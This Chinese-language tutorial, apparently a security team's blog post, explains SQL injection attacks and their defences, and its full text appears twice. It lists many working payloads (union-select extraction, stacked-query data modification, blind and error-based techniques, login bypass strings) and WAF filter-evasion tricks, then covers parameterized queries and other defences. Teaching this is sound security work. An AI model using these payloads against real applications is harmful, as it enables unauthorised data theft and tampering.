【深蓝实验室天魁战队】OWASP Top10之SQL Injection
字数 2889 2025-08-12 12:08:15

SQL注入攻击与防御技术详解

0x00 OWASP Top10概述

OWASP(开放式Web应用程序安全项目)是一个开源、非盈利性的全球性安全组织,致力于改进Web应用程序安全。其最具权威的是"10项最严重的Web应用程序安全风险列表"(OWASP Top10)。

在2017版和2021版OWASP Top10中,注入攻击(SQL Injection)始终名列前茅,显示出其严重性和普遍性。

0x01 SQL注入简介

SQL注入是一种攻击方式,攻击者在字符串中插入恶意代码,然后将该字符串传递到数据库实例进行分析和执行。任何构成SQL语句的过程都可能存在注入漏洞。

常见易受攻击的接口包括:

  • URL参数
  • 用户登录框
  • 留言板
  • 搜索框

0x02 SQL注入原理

SQL注入的主要形式包括:

  1. 直接将代码插入到与SQL命令串联的用户输入变量中
  2. 将恶意代码注入要在表中存储或作为元数据存储的字符串

注入过程的工作方式:

  • 提前终止文本字符串
  • 追加新的命令
  • 使用注释标记"--"终止注入的字符串,使后续文本被忽略

0x03 数据库基础知识

在进行SQL注入前,需要了解目标数据库类型(MySQL、Oracle、SQL Server等),因为不同数据库的语法和特性略有不同。

0x04 SQL注入分类

按参数类型分类

数字型注入

  • 输入参数为整型
  • 判断方法:
    • 正常访问:http://example.com/?id=1
    • 加单引号报错:http://example.com/?id=1'
    • and 1=1正常:http://example.com/?id=1 and 1=1
    • and 1=2异常:http://example.com/?id=1 and 1=2

字符型注入

  • 参数为字符型(用单引号括起来)
  • 需要关注符号闭合
  • 常见闭合方式:
    • ?id=1'--+
    • ?id=1"--+
    • ?id=1')--+
    • ?id=1")--+

按注入位置分类

GET注入

  • 通过HTTP GET方式注入
  • 示例:http://example.com/?id=1' union select 1,2,3--+

POST注入

  • 通过HTTP POST方式注入
  • 常见于登录框
  • 万能密码示例:admin'or'1'='1

其他HTTP注入

  1. Cookie注入

    • 注入点在Cookie字段
    • 示例:Cookie: uname=admin'--+
  2. User-Agent注入

    • 修改UA头进行注入
    • 示例:User-Agent: ' and 1=1--+
  3. Referer注入

    • 修改Referer头进行注入
    • 示例:Referer: http://example.com/' and 1=1--+

按注入手法分类

联合查询注入

  1. 使用order by判断列数:?id=1' order by 1,2,3,4--+
  2. 使用union select联合查询:
    • 使原查询返回空:?id=-1' union select 1,2,3--+
    • 利用显示位获取数据:?id=-1' union select 1,version(),3--+

堆叠注入

  • 使用分号分隔多条SQL语句
  • 示例:
    • 查询数据:?id=1'; select * from users--+
    • 修改数据:?id=1'; update users set username='admin' where id=1--+

延时注入

  • 利用sleep()函数判断注入
  • 示例:
    • 基本判断:?id=1' and sleep(10)--+
    • 条件判断:?id=1' and if(length(database())=8,1,sleep(10))--+

布尔盲注

  • 通过页面返回的真假判断信息
  • 常用函数:
    • left()?id=1' and left(database(),1)='s'--+
    • like()?id=1' and (select user() like 'ro%')--+
    • regexp()?id=1' and (select user() regexp '^ro')--+

报错注入

  1. extractvalue()

    • ?id=1' and extractvalue(1,concat(0x7e,database()))--+
  2. updatexml()

    • ?id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e)--+
  3. floor()

    • ?id=1' union select 1,count(*),concat(floor(rand(0)*2),database())as x from information_schema.tables group by x--+

其他报错函数:

  • geometrycollection()
  • multipoint()
  • polygon()
  • multipolygon()
  • linestring()
  • multilinestring()
  • exp()

宽字节注入

  • 利用GBK等宽字节编码特性
  • 绕过转义:?id=1%df%27 union select 1,2,database()--+

二次注入

  1. 注册恶意账号:admin'#
  2. 修改密码时触发:UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass'

0x05 常见绕过技术

  1. 关键字过滤绕过:

    • 双写:uniunionon
    • 大小写:UnIoN SeLeCt
    • 符号替换:&&代替and||代替or
  2. 空格绕过:

    • 多括号:?id=(1)and(1=1)
    • 注释:/*!*/
    • 特殊字符:%0a%09%0d
  3. 逗号绕过:

    • 使用joinselect * from (select 1)a join (select 2)b join (select 3)c
    • 使用limit offsetlimit 1 offset 0
  4. 编码绕过:

    • 十六进制:0x61646d696e代替'admin'
    • URL编码
    • Unicode编码

0x06 防御措施

预编译(参数化查询)

  1. JSP:
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, id);
  1. PHP(PDO):
$stmt = $db->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();
  1. MyBatis:
  • 使用#{}而非${}

其他防御措施

  1. 输入验证:

    • 白名单验证
    • 类型检查(如强制转换为整数)
  2. 最小权限原则:

    • 数据库用户只授予必要权限
  3. 错误处理:

    • 不返回详细错误信息给客户端
  4. WAF(Web应用防火墙):

    • 过滤恶意请求
  5. 编码规范:

    • 避免直接拼接SQL语句

0x07 总结

SQL注入是最常见、最危险的Web安全漏洞之一,攻击者可以利用它获取敏感数据、修改数据甚至控制服务器。防御SQL注入最有效的方法是使用预编译语句,同时结合输入验证、最小权限原则等多层防御措施。

0x08 参考资源

  1. SQLi-Labs
  2. OWASP官方文档
  3. FreeBuf安全文章
SQL注入攻击与防御技术详解 0x00 OWASP Top10概述 OWASP(开放式Web应用程序安全项目)是一个开源、非盈利性的全球性安全组织,致力于改进Web应用程序安全。其最具权威的是"10项最严重的Web应用程序安全风险列表"(OWASP Top10)。 在2017版和2021版OWASP Top10中,注入攻击(SQL Injection)始终名列前茅,显示出其严重性和普遍性。 0x01 SQL注入简介 SQL注入是一种攻击方式,攻击者在字符串中插入恶意代码,然后将该字符串传递到数据库实例进行分析和执行。任何构成SQL语句的过程都可能存在注入漏洞。 常见易受攻击的接口包括: URL参数 用户登录框 留言板 搜索框 0x02 SQL注入原理 SQL注入的主要形式包括: 直接将代码插入到与SQL命令串联的用户输入变量中 将恶意代码注入要在表中存储或作为元数据存储的字符串 注入过程的工作方式: 提前终止文本字符串 追加新的命令 使用注释标记"--"终止注入的字符串,使后续文本被忽略 0x03 数据库基础知识 在进行SQL注入前,需要了解目标数据库类型(MySQL、Oracle、SQL Server等),因为不同数据库的语法和特性略有不同。 0x04 SQL注入分类 按参数类型分类 数字型注入 输入参数为整型 判断方法: 正常访问: http://example.com/?id=1 加单引号报错: http://example.com/?id=1' and 1=1 正常: http://example.com/?id=1 and 1=1 and 1=2 异常: http://example.com/?id=1 and 1=2 字符型注入 参数为字符型(用单引号括起来) 需要关注符号闭合 常见闭合方式: ?id=1'--+ ?id=1"--+ ?id=1')--+ ?id=1")--+ 按注入位置分类 GET注入 通过HTTP GET方式注入 示例: http://example.com/?id=1' union select 1,2,3--+ POST注入 通过HTTP POST方式注入 常见于登录框 万能密码示例: admin'or'1'='1 其他HTTP注入 Cookie注入 注入点在Cookie字段 示例: Cookie: uname=admin'--+ User-Agent注入 修改UA头进行注入 示例: User-Agent: ' and 1=1--+ Referer注入 修改Referer头进行注入 示例: Referer: http://example.com/' and 1=1--+ 按注入手法分类 联合查询注入 使用 order by 判断列数: ?id=1' order by 1,2,3,4--+ 使用 union select 联合查询: 使原查询返回空: ?id=-1' union select 1,2,3--+ 利用显示位获取数据: ?id=-1' union select 1,version(),3--+ 堆叠注入 使用分号分隔多条SQL语句 示例: 查询数据: ?id=1'; select * from users--+ 修改数据: ?id=1'; update users set username='admin' where id=1--+ 延时注入 利用 sleep() 函数判断注入 示例: 基本判断: ?id=1' and sleep(10)--+ 条件判断: ?id=1' and if(length(database())=8,1,sleep(10))--+ 布尔盲注 通过页面返回的真假判断信息 常用函数: left() : ?id=1' and left(database(),1)='s'--+ like() : ?id=1' and (select user() like 'ro%')--+ regexp() : ?id=1' and (select user() regexp '^ro')--+ 报错注入 extractvalue() : ?id=1' and extractvalue(1,concat(0x7e,database()))--+ updatexml() : ?id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e)--+ floor() : ?id=1' union select 1,count(*),concat(floor(rand(0)*2),database())as x from information_schema.tables group by x--+ 其他报错函数: geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring() exp() 宽字节注入 利用GBK等宽字节编码特性 绕过转义: ?id=1%df%27 union select 1,2,database()--+ 二次注入 注册恶意账号: admin'# 修改密码时触发: UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' 0x05 常见绕过技术 关键字过滤绕过: 双写: uniunionon 大小写: UnIoN SeLeCt 符号替换: && 代替 and , || 代替 or 空格绕过: 多括号: ?id=(1)and(1=1) 注释: /*!*/ 特殊字符: %0a 、 %09 、 %0d 逗号绕过: 使用 join : select * from (select 1)a join (select 2)b join (select 3)c 使用 limit offset : limit 1 offset 0 编码绕过: 十六进制: 0x61646d696e 代替 'admin' URL编码 Unicode编码 0x06 防御措施 预编译(参数化查询) JSP: PHP(PDO): MyBatis: 使用 #{} 而非 ${} 其他防御措施 输入验证: 白名单验证 类型检查(如强制转换为整数) 最小权限原则: 数据库用户只授予必要权限 错误处理: 不返回详细错误信息给客户端 WAF(Web应用防火墙): 过滤恶意请求 编码规范: 避免直接拼接SQL语句 0x07 总结 SQL注入是最常见、最危险的Web安全漏洞之一,攻击者可以利用它获取敏感数据、修改数据甚至控制服务器。防御SQL注入最有效的方法是使用预编译语句,同时结合输入验证、最小权限原则等多层防御措施。 0x08 参考资源 SQLi-Labs OWASP官方文档 FreeBuf安全文章